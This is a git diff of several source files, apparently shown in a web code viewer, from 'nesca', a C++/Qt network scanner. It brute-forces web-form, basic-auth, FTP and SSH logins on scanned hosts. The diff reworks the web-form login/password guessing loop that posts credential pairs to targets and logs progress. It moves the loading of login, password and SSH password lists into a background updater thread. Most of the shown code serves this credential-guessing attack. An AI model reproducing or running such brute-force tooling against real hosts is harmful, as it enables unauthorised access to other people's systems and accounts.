if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
|
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) +
|
||||||
|
"; login/pass: "+ QString(login) + ":" + QString(pass) +
|
||||||
|
"; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
|
||||||
++passCounter;
|
++passCounter;
|
||||||
|
|
||||||
result = parseResponse(ip, port, &buffer, formVal, &i, &j);
|
result = parseResponse(ip, port, &buffer, formVal, login, pass);
|
||||||
if(i == 0) ++i;
|
if(i == 0) ++i;
|
||||||
}
|
}
|
||||||
firstCycle = 1;
|
firstCycle = 1;
|
||||||
@ -103,14 +113,22 @@ lopaStr WFClass::doPostCheck(const char *ip,
|
|||||||
int passCounter = 0;
|
int passCounter = 0;
|
||||||
int firstCycle = 0;
|
int firstCycle = 0;
|
||||||
|
|
||||||
|
char login[128] = {0};
|
||||||
|
char pass[32] = {0};
|
||||||
|
|
||||||
for(int i = 0; i < MaxWFLogin; ++i)
|
for(int i = 0; i < MaxWFLogin; ++i)
|
||||||
{
|
{
|
||||||
if(!globalScanFlag) break;
|
if(!globalScanFlag) break;
|
||||||
|
if(!wflUpdated) Sleep(100);
|
||||||
|
strcpy(login, wfLoginLst[i]);
|
||||||
|
|
||||||
for(int j = firstCycle; j < MaxWFPass; ++j)
|
for(int j = firstCycle; j < MaxWFPass; ++j)
|
||||||
{
|
{
|
||||||
if(!globalScanFlag) break;
|
if(!globalScanFlag) break;
|
||||||
|
if(!wfpUpdated) Sleep(100);
|
||||||
|
strcpy(pass, wfPassLst[j]);
|
||||||
|
|
||||||
int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(wfLoginLst[i]) + strlen(passVal) + strlen(wfPassLst[j]) + 4;
|
int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(login) + strlen(passVal) + strlen(pass) + 4;
|
||||||
|
|
||||||
if(rSize > 256) {
|
if(rSize > 256) {
|
||||||
stt->doEmitionRedFoundData("[WF] Wrong request size! (" + QString(ip) + ":" + QString::number(port) + ")");
|
stt->doEmitionRedFoundData("[WF] Wrong request size! (" + QString(ip) + ":" + QString::number(port) + ")");
|
||||||
@ -120,15 +138,17 @@ lopaStr WFClass::doPostCheck(const char *ip,
|
|||||||
char nip[256] = {0};
|
char nip[256] = {0};
|
||||||
char postData[256] = {0};
|
char postData[256] = {0};
|
||||||
sprintf(nip, "%s%s", ip, actionVal);
|
sprintf(nip, "%s%s", ip, actionVal);
|
||||||
sprintf(postData, "%s=%s&%s=%s", userVal, wfLoginLst[i], passVal, wfPassLst[j]);
|
sprintf(postData, "%s=%s&%s=%s", userVal, login, passVal, pass);
|
||||||
|
|
||||||
std::string buffer;
|
std::string buffer;
|
||||||
Connector::nConnect(nip, port, &buffer, postData);
|
Connector::nConnect(nip, port, &buffer, postData);
|
||||||
|
|
||||||
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
|
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " +
|
||||||
|
QString(login) + ":" + QString(pass) + "; - Progress: (" +
|
||||||
|
QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
|
||||||
++passCounter;
|
++passCounter;
|
||||||
|
|
||||||
return parseResponse(ip, port, &buffer, formVal, &i, &j);
|
return parseResponse(ip, port, &buffer, formVal, login, pass);
|
||||||
if(i == 0) ++i;
|
if(i == 0) ++i;
|
||||||
}
|
}
|
||||||
firstCycle = 1;
|
firstCycle = 1;
|
||||||
|
@ -41,7 +41,8 @@ SOURCES +=\
|
|||||||
BasicAuth.cpp \
|
BasicAuth.cpp \
|
||||||
FTPAuth.cpp \
|
FTPAuth.cpp \
|
||||||
Threader.cpp \
|
Threader.cpp \
|
||||||
SSHAuth.cpp
|
SSHAuth.cpp \
|
||||||
|
FileUpdater.cpp
|
||||||
|
|
||||||
|
|
||||||
HEADERS += ActivityDrawerTh_HorNet.h \
|
HEADERS += ActivityDrawerTh_HorNet.h \
|
||||||
@ -69,7 +70,8 @@ HEADERS += ActivityDrawerTh_HorNet.h \
|
|||||||
BruteUtils.h \
|
BruteUtils.h \
|
||||||
FTPAuth.h \
|
FTPAuth.h \
|
||||||
Threader.h \
|
Threader.h \
|
||||||
SSHAuth.h
|
SSHAuth.h \
|
||||||
|
FileUpdater.h
|
||||||
|
|
||||||
FORMS += nesca_3.ui
|
FORMS += nesca_3.ui
|
||||||
|
|
||||||
|
36
nesca_3.cpp
36
nesca_3.cpp
@ -471,51 +471,55 @@ void nesca_3::slotDrawTextPlacers()
|
|||||||
sceneTextPlacer->addLine(85, 110, 90, 100, penPT);
|
sceneTextPlacer->addLine(85, 110, 90, 100, penPT);
|
||||||
sceneTextPlacer->addLine(23, 110, 83, 110, penPT);
|
sceneTextPlacer->addLine(23, 110, 83, 110, penPT);
|
||||||
|
|
||||||
|
#if (!defined(WIN32) && !defined(_WIN32) && !defined(__WIN32)) || defined(__CYGWIN__)
|
||||||
|
int linuxOffsetKOSTYL = 3;
|
||||||
|
#endif
|
||||||
|
|
||||||
QGraphicsTextItem *item = sceneTextPlacer->addText("- Anomalies", fnt);
|
QGraphicsTextItem *item = sceneTextPlacer->addText("- Anomalies", fnt);
|
||||||
item->setX(25);
|
item->setX(25);
|
||||||
item->setY(94);
|
item->setY(94+linuxOffsetKOSTYL);
|
||||||
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
||||||
|
|
||||||
sceneTextPlacer->addLine(118, 120, 130, 100, penPT);
|
sceneTextPlacer->addLine(118, 120, 130, 100, penPT);
|
||||||
sceneTextPlacer->addLine(23, 121, 117, 121, penPT);
|
sceneTextPlacer->addLine(23, 121, 117, 121, penPT);
|
||||||
item = sceneTextPlacer->addText("- Webforms", fnt);
|
item = sceneTextPlacer->addText("- Webforms", fnt);
|
||||||
item->setX(25);
|
item->setX(25);
|
||||||
item->setY(105);
|
item->setY(105+linuxOffsetKOSTYL);
|
||||||
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
||||||
|
|
||||||
sceneTextPlacer->addLine(155, 130, 170, 100, penPT);
|
sceneTextPlacer->addLine(155, 130, 170, 100, penPT);
|
||||||
sceneTextPlacer->addLine(23, 131, 154, 131, penPT);
|
sceneTextPlacer->addLine(23, 131, 154, 131, penPT);
|
||||||
item = sceneTextPlacer->addText("- Basic Auth", fnt);
|
item = sceneTextPlacer->addText("- Basic Auth", fnt);
|
||||||
item->setX(25);
|
item->setX(25);
|
||||||
item->setY(115);
|
item->setY(115+linuxOffsetKOSTYL);
|
||||||
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
||||||
|
|
||||||
sceneTextPlacer->addLine(190, 140, 210, 100, penPT);
|
sceneTextPlacer->addLine(190, 140, 210, 100, penPT);
|
||||||
sceneTextPlacer->addLine(23, 141, 189, 141, penPT);
|
sceneTextPlacer->addLine(23, 141, 189, 141, penPT);
|
||||||
item = sceneTextPlacer->addText("- Suspicious", fnt);
|
item = sceneTextPlacer->addText("- Suspicious", fnt);
|
||||||
item->setX(25);
|
item->setX(25);
|
||||||
item->setY(125);
|
item->setY(125+linuxOffsetKOSTYL);
|
||||||
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
||||||
|
|
||||||
sceneTextPlacer->addLine(230, 150, 250, 100, penPT);
|
sceneTextPlacer->addLine(230, 150, 250, 100, penPT);
|
||||||
sceneTextPlacer->addLine(23, 151, 229, 151, penPT);
|
sceneTextPlacer->addLine(23, 151, 229, 151, penPT);
|
||||||
item = sceneTextPlacer->addText("- Overloads", fnt);
|
item = sceneTextPlacer->addText("- Overloads", fnt);
|
||||||
item->setX(25);
|
item->setX(25);
|
||||||
item->setY(135);
|
item->setY(135+linuxOffsetKOSTYL);
|
||||||
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
||||||
|
|
||||||
sceneTextPlacer->addLine(270, 160, 290, 100, penPT);
|
sceneTextPlacer->addLine(270, 160, 290, 100, penPT);
|
||||||
sceneTextPlacer->addLine(23, 161, 269, 161, penPT);
|
sceneTextPlacer->addLine(23, 161, 269, 161, penPT);
|
||||||
item = sceneTextPlacer->addText("- Lowloads", fnt);
|
item = sceneTextPlacer->addText("- Lowloads", fnt);
|
||||||
item->setX(25);
|
item->setX(25);
|
||||||
item->setY(145);
|
item->setY(145+linuxOffsetKOSTYL);
|
||||||
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
||||||
|
|
||||||
sceneTextPlacer->addLine(310, 170, 330, 100, penPT);
|
sceneTextPlacer->addLine(310, 170, 330, 100, penPT);
|
||||||
sceneTextPlacer->addLine(23, 171, 309, 171, penPT);
|
sceneTextPlacer->addLine(23, 171, 309, 171, penPT);
|
||||||
item = sceneTextPlacer->addText("- Alive", fnt);
|
item = sceneTextPlacer->addText("- Alive", fnt);
|
||||||
item->setX(25);
|
item->setX(25);
|
||||||
item->setY(155);
|
item->setY(155+linuxOffsetKOSTYL);
|
||||||
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
||||||
}
|
}
|
||||||
else if(VoiceScanFlag)
|
else if(VoiceScanFlag)
|
||||||
@ -2552,6 +2556,7 @@ void CreateVerFile()
|
|||||||
|
|
||||||
std::string GetVer()
|
std::string GetVer()
|
||||||
{
|
{
|
||||||
|
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||||
int dver = 0;
|
int dver = 0;
|
||||||
int tver = 0;
|
int tver = 0;
|
||||||
|
|
||||||
@ -2597,9 +2602,22 @@ std::string GetVer()
|
|||||||
sprintf(tverX, "%X", tver);
|
sprintf(tverX, "%X", tver);
|
||||||
|
|
||||||
std::string db = std::string(dverX) + "-" + std::string(tverX);
|
std::string db = std::string(dverX) + "-" + std::string(tverX);
|
||||||
//sprintf(db, "%X-%X", dver, tver);
|
|
||||||
|
|
||||||
return db;
|
return db;
|
||||||
|
#else
|
||||||
|
FILE *f = fopen("version", "r");
|
||||||
|
if(f != NULL) {
|
||||||
|
char buff[32] = {0};
|
||||||
|
fgets(buff, 32, f);
|
||||||
|
fclose(f);
|
||||||
|
|
||||||
|
std::string db = std::string(buff);
|
||||||
|
return db;
|
||||||
|
} else {
|
||||||
|
stt->doEmitionRedFoundData("Cannot open version file.");
|
||||||
|
return "?";
|
||||||
|
};
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
void nesca_3::slotShowRedVersion()
|
void nesca_3::slotShowRedVersion()
|
||||||
@ -2638,8 +2656,6 @@ void _startMsgCheck()
|
|||||||
QTime time = QTime::currentTime();
|
QTime time = QTime::currentTime();
|
||||||
qsrand((uint)time.msec());
|
qsrand((uint)time.msec());
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
const std::string &gVERStr = GetVer();
|
const std::string &gVERStr = GetVer();
|
||||||
strcpy(gVER, gVERStr.c_str());
|
strcpy(gVER, gVERStr.c_str());
|
||||||
QString QVER(gVER);
|
QString QVER(gVER);
|
||||||
|
@ -4,6 +4,7 @@
|
|||||||
#include "externFunctions.h"
|
#include "externFunctions.h"
|
||||||
#include "Connector.h"
|
#include "Connector.h"
|
||||||
#include "Threader.h"
|
#include "Threader.h"
|
||||||
|
#include "FileUpdater.h"
|
||||||
#include <thread>
|
#include <thread>
|
||||||
|
|
||||||
QJsonArray *jsonArr = new QJsonArray();
|
QJsonArray *jsonArr = new QJsonArray();
|
||||||
@ -811,309 +812,6 @@ void verboseProgressDNS(unsigned long target, const char *ip, const char *TLD, c
|
|||||||
progressOutput(target);
|
progressOutput(target);
|
||||||
}
|
}
|
||||||
|
|
||||||
void _passLoginLoader() {
|
|
||||||
MaxLogin = 0;
|
|
||||||
MaxPass = 0;
|
|
||||||
|
|
||||||
char buffFG[32] = {0};
|
|
||||||
int i = 0;
|
|
||||||
|
|
||||||
FILE *loginList = fopen("login.txt", "r");
|
|
||||||
FILE *passList = fopen("pass.txt", "r");
|
|
||||||
|
|
||||||
if(passList != NULL && loginList != NULL)
|
|
||||||
{
|
|
||||||
while(fgets(buffFG, 32, loginList) != NULL)
|
|
||||||
{
|
|
||||||
MaxLogin++;
|
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
|
||||||
};
|
|
||||||
|
|
||||||
while(fgets(buffFG, 32, passList) != NULL)
|
|
||||||
{
|
|
||||||
MaxPass++;
|
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
|
||||||
};
|
|
||||||
|
|
||||||
rewind(loginList);
|
|
||||||
rewind(passList);
|
|
||||||
|
|
||||||
loginLst = new char*[MaxLogin];
|
|
||||||
passLst = new char*[MaxPass];
|
|
||||||
|
|
||||||
for(int j = 0; j < MaxLogin; j++)
|
|
||||||
{
|
|
||||||
loginLst[j] = new char[32];
|
|
||||||
};
|
|
||||||
|
|
||||||
for(int j = 0; j < MaxPass; j++)
|
|
||||||
{
|
|
||||||
passLst[j] = new char[32];
|
|
||||||
};
|
|
||||||
|
|
||||||
while(fgets(buffFG, 32, passList) != NULL)
|
|
||||||
{
|
|
||||||
memset(passLst[i], 0, strlen(buffFG) + 1);
|
|
||||||
|
|
||||||
if(strstr(buffFG, "\n") != NULL) strncat(passLst[i++], buffFG, strlen(buffFG) - 1);
|
|
||||||
else strncat(passLst[i++], buffFG, strlen(buffFG));
|
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
|
||||||
};
|
|
||||||
|
|
||||||
stt->doEmitionGreenFoundData("Password list loaded (" + QString::number(MaxPass) + " entries)");
|
|
||||||
|
|
||||||
i = 0;
|
|
||||||
|
|
||||||
while(fgets(buffFG, 32, loginList) != NULL)
|
|
||||||
{
|
|
||||||
memset(loginLst[i], 0, strlen(buffFG) + 1);
|
|
||||||
|
|
||||||
if(strstr(buffFG, "\n") != NULL) strncat(loginLst[i++], buffFG, strlen(buffFG) - 1);
|
|
||||||
else strncat(loginLst[i++], buffFG, strlen(buffFG));
|
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
|
||||||
};
|
|
||||||
|
|
||||||
stt->doEmitionGreenFoundData("Login list loaded (" + QString::number(MaxLogin) + " entries)");
|
|
||||||
|
|
||||||
fclose(loginList);
|
|
||||||
fclose(passList);
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
stt->doEmitionRedFoundData("No password/login list found");
|
|
||||||
stt->doEmitionKillSttThread();
|
|
||||||
};
|
|
||||||
|
|
||||||
MaxWFLogin = 0;
|
|
||||||
MaxWFPass = 0;
|
|
||||||
|
|
||||||
FILE *wfLoginList;
|
|
||||||
FILE *wfPassList;
|
|
||||||
|
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
|
||||||
i = 0;
|
|
||||||
|
|
||||||
wfLoginList = fopen("wflogin.txt", "r");
|
|
||||||
wfPassList = fopen("wfpass.txt", "r");
|
|
||||||
|
|
||||||
if(wfPassList != NULL && wfLoginList != NULL)
|
|
||||||
{
|
|
||||||
while(fgets(buffFG, 32, wfLoginList) != NULL)
|
|
||||||
{
|
|
||||||
MaxWFLogin++;
|
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
|
||||||
};
|
|
||||||
|
|
||||||
while(fgets(buffFG, 32, wfPassList) != NULL)
|
|
||||||
{
|
|
||||||
MaxWFPass++;
|
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
|
||||||
};
|
|
||||||
|
|
||||||
rewind(wfLoginList);
|
|
||||||
rewind(wfPassList);
|
|
||||||
|
|
||||||
wfLoginLst = new char*[MaxWFLogin];
|
|
||||||
wfPassLst = new char*[MaxWFPass];
|
|
||||||
|
|
||||||
for(int j = 0; j < MaxWFLogin; j++)
|
|
||||||
{
|
|
||||||
wfLoginLst[j] = new char[32];
|
|
||||||
};
|
|
||||||
|
|
||||||
for(int j = 0; j < MaxWFPass; j++)
|
|
||||||
{
|
|
||||||
wfPassLst[j] = new char[32];
|
|
||||||
};
|
|
||||||
|
|
||||||
while(fgets(buffFG, 32, wfPassList) != NULL)
|
|
||||||
{
|
|
||||||
memset(wfPassLst[i], 0, strlen(buffFG) + 1);
|
|
||||||
|
|
||||||
if(strstr(buffFG, "\n") != NULL) strncat(wfPassLst[i++], buffFG, strlen(buffFG) - 1);
|
|
||||||
else strncat(wfPassLst[i++], buffFG, strlen(buffFG));
|
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
|
||||||
};
|
|
||||||
|
|
||||||
stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString::number(MaxWFPass) + " entries)");
|
|
||||||
|
|
||||||
i = 0;
|
|
||||||
|
|
||||||
while(fgets(buffFG, 32, wfLoginList) != NULL)
|
|
||||||
{
|
|
||||||
memset(wfLoginLst[i], 0, strlen(buffFG) + 1);
|
|
||||||
|
|
||||||
if(strstr(buffFG, "\n") != NULL) strncat(wfLoginLst[i++], buffFG, strlen(buffFG) - 1);
|
|
||||||
else strncat(wfLoginLst[i++], buffFG, strlen(buffFG));
|
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
|
||||||
};
|
|
||||||
|
|
||||||
stt->doEmitionGreenFoundData("WFLogin list loaded (" + QString::number(MaxWFLogin) + " entries)");
|
|
||||||
fclose(wfPassList);
|
|
||||||
fclose(wfLoginList);
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
stt->doEmitionRedFoundData("No password/login list found");
|
|
||||||
stt->doEmitionKillSttThread();
|
|
||||||
};
|
|
||||||
|
|
||||||
MaxSSHPass = 0;
|
|
||||||
FILE *sshlpList;
|
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
|
||||||
i = 0;
|
|
||||||
|
|
||||||
sshlpList = fopen("sshpass.txt", "r");
|
|
||||||
|
|
||||||
if(sshlpList != NULL)
|
|
||||||
{
|
|
||||||
while(fgets(buffFG, 32, sshlpList) != NULL)
|
|
||||||
{
|
|
||||||
++MaxSSHPass;
|
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
|
||||||
};
|
|
||||||
|
|
||||||
rewind(sshlpList);
|
|
||||||
|
|
||||||
sshlpLst = new char*[MaxSSHPass];
|
|
||||||
|
|
||||||
for(int j = 0; j < MaxSSHPass; j++)
|
|
||||||
{
|
|
||||||
sshlpLst[j] = new char[32];
|
|
||||||
};
|
|
||||||
|
|
||||||
while(fgets(buffFG, 32, sshlpList) != NULL)
|
|
||||||
{
|
|
||||||
memset(sshlpLst[i], 0, strlen(buffFG) + 1);
|
|
||||||
|
|
||||||
if(strstr(buffFG, "\n") != NULL) strncat(sshlpLst[i++], buffFG, strlen(buffFG) - 1);
|
|
||||||
else strncat(sshlpLst[i++], buffFG, strlen(buffFG));
|
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
|
||||||
};
|
|
||||||
|
|
||||||
stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString::number(MaxSSHPass) + " entries)");
|
|
||||||
|
|
||||||
fclose(sshlpList);
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
stt->doEmitionRedFoundData("No password/login list found");
|
|
||||||
stt->doEmitionKillSttThread();
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
void ReadUTF8(FILE* nFile, char *cp) {
|
|
||||||
char buffFG[256] = {0};
|
|
||||||
int i = 0;
|
|
||||||
GlobalNegativeSize = 0;
|
|
||||||
|
|
||||||
if(nFile != NULL)
|
|
||||||
{
|
|
||||||
while(fgets((char*)buffFG, sizeof(buffFG), nFile) != NULL)
|
|
||||||
{
|
|
||||||
if(buffFG[0] != '#' && buffFG[0] != ' ' && buffFG[0] != '\n' && buffFG[0] != '\r' && strcmp(buffFG, "") != 0 &&
|
|
||||||
((buffFG[0] == '/' && buffFG[1] == '/') == false) && ((buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t' && (buffFG[3] == 13 || buffFG[3] == 10 || buffFG[3] == '#')) == false)
|
|
||||||
&& (buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t' && (buffFG[3] == '/' && buffFG[4] == '/')) == false)
|
|
||||||
{
|
|
||||||
++GlobalNegativeSize;
|
|
||||||
};
|
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
|
||||||
};
|
|
||||||
|
|
||||||
rewind(nFile);
|
|
||||||
if(strcmp(cp, "UTF") == 0) fseek(nFile, 3, 0);
|
|
||||||
|
|
||||||
GlobalNegatives = new char*[GlobalNegativeSize + 2];
|
|
||||||
|
|
||||||
while(fgets(buffFG, sizeof(buffFG), nFile) != NULL)
|
|
||||||
{
|
|
||||||
if(buffFG[0] == '#' || buffFG[0] == ' ' || buffFG[0] == '\n' || buffFG[0] == '\r' || strcmp(buffFG, "") == 0 ||
|
|
||||||
(buffFG[0] == '/' && buffFG[1] == '/'))
|
|
||||||
{
|
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
|
||||||
continue;
|
|
||||||
};
|
|
||||||
|
|
||||||
if(buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t')
|
|
||||||
{
|
|
||||||
char buffFGT[256] = {0};
|
|
||||||
strcpy(buffFGT, buffFG);
|
|
||||||
char *ptr1 = strstr(buffFGT, "\t\t\t");
|
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
|
||||||
strcpy(buffFG, ptr1 + 3);
|
|
||||||
};
|
|
||||||
|
|
||||||
int bSz = strlen(buffFG);
|
|
||||||
if((bSz == 2 && buffFG[0] == 13 && buffFG[1] == 10) || (bSz == 1 && (buffFG[0] == 13 || buffFG[0] == 10)))
|
|
||||||
{
|
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
|
||||||
continue;
|
|
||||||
};
|
|
||||||
if(buffFG[bSz] == 13 || buffFG[bSz] == 10)
|
|
||||||
{
|
|
||||||
buffFG[bSz] = '\0';
|
|
||||||
};
|
|
||||||
if(buffFG[bSz - 1] == 13 || buffFG[bSz - 1] == 10)
|
|
||||||
{
|
|
||||||
buffFG[bSz - 1] = '\0';
|
|
||||||
};
|
|
||||||
if(buffFG[bSz - 2] == 13 || buffFG[bSz - 2] == 10)
|
|
||||||
{
|
|
||||||
buffFG[bSz - 2] = '\0';
|
|
||||||
};
|
|
||||||
|
|
||||||
if(strstr((char*)buffFG, "\n") != 0)
|
|
||||||
{
|
|
||||||
std::string res;
|
|
||||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
|
||||||
res = xcode(buffFG, CP_UTF8, CP_ACP);
|
|
||||||
#else
|
|
||||||
res = std::string(buffFG);
|
|
||||||
#endif
|
|
||||||
int sz = res.size();
|
|
||||||
GlobalNegatives[i] = new char[sz + 1];
|
|
||||||
ZeroMemory(GlobalNegatives[i], sizeof(*GlobalNegatives[i]));
|
|
||||||
memcpy(GlobalNegatives[i], toLowerStr(res.c_str()).c_str(), sz - 1);
|
|
||||||
memset(GlobalNegatives[i] + sz - 1, '\0', 1);
|
|
||||||
++i;
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
std::string res;
|
|
||||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
|
||||||
res = xcode(buffFG, CP_UTF8, CP_ACP);
|
|
||||||
#else
|
|
||||||
res = std::string(buffFG);
|
|
||||||
#endif
|
|
||||||
int sz = res.size();
|
|
||||||
GlobalNegatives[i] = new char[sz + 1];
|
|
||||||
ZeroMemory(GlobalNegatives[i], sizeof(*GlobalNegatives[i]));
|
|
||||||
memcpy(GlobalNegatives[i], toLowerStr(res.c_str()).c_str(), sz);
|
|
||||||
memset(GlobalNegatives[i] + sz, '\0', 1);
|
|
||||||
++i;
|
|
||||||
};
|
|
||||||
|
|
||||||
unsigned char buffcpy2[256] = {0};
|
|
||||||
int sz = strlen((char*)buffFG);
|
|
||||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
|
||||||
strncpy((char*)buffcpy2, xcode(buffFG, CP_ACP, CP_UTF8).c_str(), sz);
|
|
||||||
#else
|
|
||||||
strncpy((char*)buffcpy2, buffFG, sz);
|
|
||||||
#endif
|
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
|
||||||
};
|
|
||||||
|
|
||||||
stt->doEmitionGreenFoundData("Negative list loaded (" + QString::number(GlobalNegativeSize) + " entries)");
|
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
|
||||||
fclose(nFile);
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
stt->doEmitionRedFoundData("No negative list found");
|
|
||||||
stt->doEmitionKillSttThread();
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||||
unsigned char* ASCIItoUNICODE (unsigned char ch)
|
unsigned char* ASCIItoUNICODE (unsigned char ch)
|
||||||
{
|
{
|
||||||
@ -1154,24 +852,6 @@ std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage) {
|
|||||||
#endif
|
#endif
|
||||||
return res;
|
return res;
|
||||||
}
|
}
|
||||||
void _NegativeLoader() {
|
|
||||||
FILE *nFile = fopen("negatives.txt", "rb");
|
|
||||||
|
|
||||||
if( nFile != NULL)
|
|
||||||
{
|
|
||||||
unsigned char b[3] = {0};
|
|
||||||
fread(b,1,2, nFile);
|
|
||||||
if( b[0] == 0xEF && b[1] == 0xBB)
|
|
||||||
{
|
|
||||||
fread(b,1,1,nFile); // 0xBF
|
|
||||||
ReadUTF8(nFile, "UTF");
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
ReadUTF8(nFile, "1251");
|
|
||||||
};
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void CheckMaskBits(char *res, int index) {
|
void CheckMaskBits(char *res, int index) {
|
||||||
char *bitsStr = strstr(res, "/");
|
char *bitsStr = strstr(res, "/");
|
||||||
@ -2080,11 +1760,13 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
void runAuxiliaryThreads() {
|
void runAuxiliaryThreads() {
|
||||||
|
std::thread lpThread(FileUpdater::updateLists);
|
||||||
|
lpThread.detach();
|
||||||
std::thread saverThread(_saver);
|
std::thread saverThread(_saver);
|
||||||
std::thread trackerThread(_tracker);
|
|
||||||
std::thread timerThread(_timer);
|
|
||||||
saverThread.detach();
|
saverThread.detach();
|
||||||
|
std::thread trackerThread(_tracker);
|
||||||
trackerThread.detach();
|
trackerThread.detach();
|
||||||
|
std::thread timerThread(_timer);
|
||||||
timerThread.detach();
|
timerThread.detach();
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -2142,9 +1824,6 @@ int startScan(char* args) {
|
|||||||
stt->doEmitionIPRANGE(QString("--"));
|
stt->doEmitionIPRANGE(QString("--"));
|
||||||
stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
|
stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
|
||||||
|
|
||||||
_passLoginLoader();
|
|
||||||
_NegativeLoader();
|
|
||||||
|
|
||||||
runAuxiliaryThreads();
|
runAuxiliaryThreads();
|
||||||
|
|
||||||
if (gMode == 0)
|
if (gMode == 0)
|
||||||
|
@ -7,7 +7,7 @@
|
|||||||
void _checkVer()
|
void _checkVer()
|
||||||
{
|
{
|
||||||
while(true) {
|
while(true) {
|
||||||
char request[64] = {"http://nesca.d3w.org/version"};
|
const char request[64] = {"http://nesca.d3w.org/version"};
|
||||||
std::string buffer;
|
std::string buffer;
|
||||||
std::vector<std::string> headerVector {"X-Nescav3: True"};
|
std::vector<std::string> headerVector {"X-Nescav3: True"};
|
||||||
Connector::nConnect(request, 80, &buffer, NULL, &headerVector);
|
Connector::nConnect(request, 80, &buffer, NULL, &headerVector);
|
||||||
@ -20,6 +20,8 @@ void _checkVer()
|
|||||||
ptr1 = strstr((char*)buffer.c_str(), "\r\n\r\n");
|
ptr1 = strstr((char*)buffer.c_str(), "\r\n\r\n");
|
||||||
if(strcmp(gVER, ptr1 + 4) != 0)
|
if(strcmp(gVER, ptr1 + 4) != 0)
|
||||||
{
|
{
|
||||||
|
stt->doEmitionFoundData("<br><font color=\"Pink\">======Update required======<br>Latest version: " + QString(ptr1 + 4) +
|
||||||
|
"<br>Your version: " + QString(gVER) + "<br>=======================</font>");
|
||||||
stt->doEmitionShowRedVersion();
|
stt->doEmitionShowRedVersion();
|
||||||
};
|
};
|
||||||
};
|
};
|
||||||
|
Loading…
Reference in New Issue
Block a user